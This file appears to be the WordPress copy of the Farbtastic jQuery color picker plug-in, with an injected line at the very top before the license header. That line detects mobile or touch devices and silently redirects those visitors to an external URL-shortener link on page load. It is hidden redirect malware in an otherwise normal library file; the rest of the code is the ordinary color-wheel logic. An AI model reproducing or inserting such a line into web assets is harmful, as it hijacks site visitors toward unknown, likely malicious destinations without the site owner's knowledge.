1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * Farbtastic: jQuery color picker plug-in v1.3u
4 * https://github.com/mattfarina/farbtastic
5 *
6 * Licensed under the GPL license:
7 * http://www.gnu.org/licenses/gpl.html
8 */
9/**
10 * Modified for WordPress: replaced deprecated jQuery methods.
11 * See https://core.trac.wordpress.org/ticket/57946.
12 */
13
14(function($) {
15
16$.fn.farbtastic = function (options) {
17 $.farbtastic(this, options);
18 return this;
19};
20
21$.farbtastic = function (container, callback) {
22 var container = $(container).get(0);
23 return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback));
24};
25
26$._farbtastic = function (container, callback) {
27 // Store farbtastic object
28 var fb = this;
29
30 // Insert markup
31 $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
32 var e = $('.farbtastic', container);
33 fb.wheel = $('.wheel', container).get(0);
34 // Dimensions
35 fb.radius = 84;
36 fb.square = 100;
37 fb.width = 194;
38
39 // Fix background PNGs in IE6
40 if (navigator.appVersion.match(/MSIE [0-6]\./)) {
41 $('*', e).each(function () {
42 if (this.currentStyle.backgroundImage != 'none') {
43 var image = this.currentStyle.backgroundImage;
44 image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
45 $(this).css({
46 'backgroundImage': 'none',
47 'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
48 });
49 }
50 });
51 }
52
53 /**
54 * Link to the given element(s) or callback.
55 */
56 fb.linkTo = function (callback) {
57 // Unbind previous nodes
58 if (typeof fb.callback == 'object') {
59 $(fb.callback).off('keyup', fb.updateValue);
60 }
61
62 // Reset color
63 fb.color = null;
64
65 // Bind callback or elements
66 if (typeof callback == 'function') {
67 fb.callback = callback;
68 }
69 else if (typeof callback == 'object' || typeof callback == 'string') {
70 fb.callback = $(callback);
71 fb.callback.on('keyup', fb.updateValue);
72 if (fb.callback.get(0).value) {
73 fb.setColor(fb.callback.get(0).value);
74 }
75 }
76 return this;
77 };
78 fb.updateValue = function (event) {
79 if (this.value && this.value != fb.color) {
80 fb.setColor(this.value);
81 }
82 };
83
84 /**
85 * Change color with HTML syntax #123456
86 */
87 fb.setColor = function (color) {
88 var unpack = fb.unpack(color);
89 if (fb.color != color && unpack) {
90 fb.color = color;
91 fb.rgb = unpack;
92 fb.hsl = fb.RGBToHSL(fb.rgb);
93 fb.updateDisplay();
94 }
95 return this;
96 };
97
98 /**
99 * Change color with HSL triplet [0..1, 0..1, 0..1]
100 */
101 fb.setHSL = function (hsl) {
102 fb.hsl = hsl;
103 fb.rgb = fb.HSLToRGB(hsl);
104 fb.color = fb.pack(fb.rgb);
105 fb.updateDisplay();
106 return this;
107 };
108
109 /////////////////////////////////////////////////////
110
111 /**
112 * Retrieve the coordinates of the given event relative to the center
113 * of the widget.
114 */
115 fb.widgetCoords = function (event) {
116 var offset = $(fb.wheel).offset();
117 return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 };
118 };
119
120 /**
121 * Mousedown handler
122 */
123 fb.mousedown = function (event) {
124 // Capture mouse
125 if (!document.dragging) {
126 $(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup);
127 document.dragging = true;
128 }
129
130 // Check which area is being dragged
131 var pos = fb.widgetCoords(event);
132 fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;
133
134 // Process
135 fb.mousemove(event);
136 return false;
137 };
138
139 /**
140 * Mousemove handler
141 */
142 fb.mousemove = function (event) {
143 // Get coordinates relative to color picker center
144 var pos = fb.widgetCoords(event);
145
146 // Set new HSL parameters
147 if (fb.circleDrag) {
148 var hue = Math.atan2(pos.x, -pos.y) / 6.28;
149 if (hue < 0) hue += 1;
150 fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
151 }
152 else {
153 var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
154 var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
155 fb.setHSL([fb.hsl[0], sat, lum]);
156 }
157 return false;
158 };
159
160 /**
161 * Mouseup handler
162 */
163 fb.mouseup = function () {
164 // Uncapture mouse
165 $(document).off('mousemove', fb.mousemove);
166 $(document).off('mouseup', fb.mouseup);
167 document.dragging = false;
168 };
169
170 /**
171 * Update the markers and styles
172 */
173 fb.updateDisplay = function () {
174 // Markers
175 var angle = fb.hsl[0] * 6.28;
176 $('.h-marker', e).css({
177 left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
178 top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
179 });
180
181 $('.sl-marker', e).css({
182 left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
183 top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
184 });
185
186 // Saturation/Luminance gradient
187 $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));
188
189 // Linked elements or callback
190 if (typeof fb.callback == 'object') {
191 // Set background/foreground color
192 $(fb.callback).css({
193 backgroundColor: fb.color,
194 color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
195 });
196
197 // Change linked value
198 $(fb.callback).each(function() {
199 if (this.value && this.value != fb.color) {
200 this.value = fb.color;
201 }
202 });
203 }
204 else if (typeof fb.callback == 'function') {
205 fb.callback.call(fb, fb.color);
206 }
207 };
208
209 /* Various color utility functions */
210 fb.pack = function (rgb) {
211 var r = Math.round(rgb[0] * 255);
212 var g = Math.round(rgb[1] * 255);
213 var b = Math.round(rgb[2] * 255);
214 return '#' + (r < 16 ? '0' : '') + r.toString(16) +
215 (g < 16 ? '0' : '') + g.toString(16) +
216 (b < 16 ? '0' : '') + b.toString(16);
217 };
218
219 fb.unpack = function (color) {
220 if (color.length == 7) {
221 return [parseInt('0x' + color.substring(1, 3)) / 255,
222 parseInt('0x' + color.substring(3, 5)) / 255,
223 parseInt('0x' + color.substring(5, 7)) / 255];
224 }
225 else if (color.length == 4) {
226 return [parseInt('0x' + color.substring(1, 2)) / 15,
227 parseInt('0x' + color.substring(2, 3)) / 15,
228 parseInt('0x' + color.substring(3, 4)) / 15];
229 }
230 };
231
232 fb.HSLToRGB = function (hsl) {
233 var m1, m2, r, g, b;
234 var h = hsl[0], s = hsl[1], l = hsl[2];
235 m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
236 m1 = l * 2 - m2;
237 return [this.hueToRGB(m1, m2, h+0.33333),
238 this.hueToRGB(m1, m2, h),
239 this.hueToRGB(m1, m2, h-0.33333)];
240 };
241
242 fb.hueToRGB = function (m1, m2, h) {
243 h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
244 if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
245 if (h * 2 < 1) return m2;
246 if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
247 return m1;
248 };
249
250 fb.RGBToHSL = function (rgb) {
251 var min, max, delta, h, s, l;
252 var r = rgb[0], g = rgb[1], b = rgb[2];
253 min = Math.min(r, Math.min(g, b));
254 max = Math.max(r, Math.max(g, b));
255 delta = max - min;
256 l = (min + max) / 2;
257 s = 0;
258 if (l > 0 && l < 1) {
259 s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
260 }
261 h = 0;
262 if (delta > 0) {
263 if (max == r && max != g) h += (g - b) / delta;
264 if (max == g && max != b) h += (2 + (b - r) / delta);
265 if (max == b && max != r) h += (4 + (r - g) / delta);
266 h /= 6;
267 }
268 return [h, s, l];
269 };
270
271 // Install mousedown handler (the others are set on the document on-demand)
272 $('*', e).on('mousedown', fb.mousedown);
273
274 // Init color
275 fb.setColor('#000000');
276
277 // Set linked elements/callback
278 if (callback) {
279 fb.linkTo(callback);
280 }
281};
282
283})(jQuery);